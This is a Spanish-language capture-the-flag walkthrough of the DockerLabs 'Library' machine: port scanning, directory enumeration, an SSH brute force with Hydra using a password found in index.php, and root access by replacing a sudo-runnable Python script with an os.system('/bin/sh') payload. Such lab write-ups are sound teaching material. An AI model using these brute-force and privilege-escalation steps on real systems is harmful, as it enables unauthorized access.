miguel@home:~$

Library - DockerLabs

OS Dificultad Creator
Linux Fácil ElPinguinoDeMario

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 80 (HTTP)
  • 22 (SSH) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p 80,22 -sCV 172.17.0.2 -oG targeted

image

Exploración Web

Al acceder a la página web, encontramos el panel de Apache por defecto:

image

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

Al revisar el archivo index.php, encontramos un código:

image

Fuerza bruta

Vamos a ver si esa contraseña corresponde a algún usuario. Usamos hydra:

hydra -L /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt -p JIFGHDS87GYDFIGD ssh://172.17.0.2 -t 4

image

Encontramos al usuario Carlos. Ahora intentamos ingresar por SSH.

Escalada de Privlegios.

Una vez dentro de la máquina, al ejecutar sudo -l, vemos que podemos ejecutar el script script.py como root:

image

Verificamos los permisos del archivo en /opt:

image

Eliminamos el archivo existente y creamos uno nuevo con el siguiente contenido:

import os

os.system('/bin/sh')

image

Ejecutamos el nuevo script:

image

¡Ya somos root!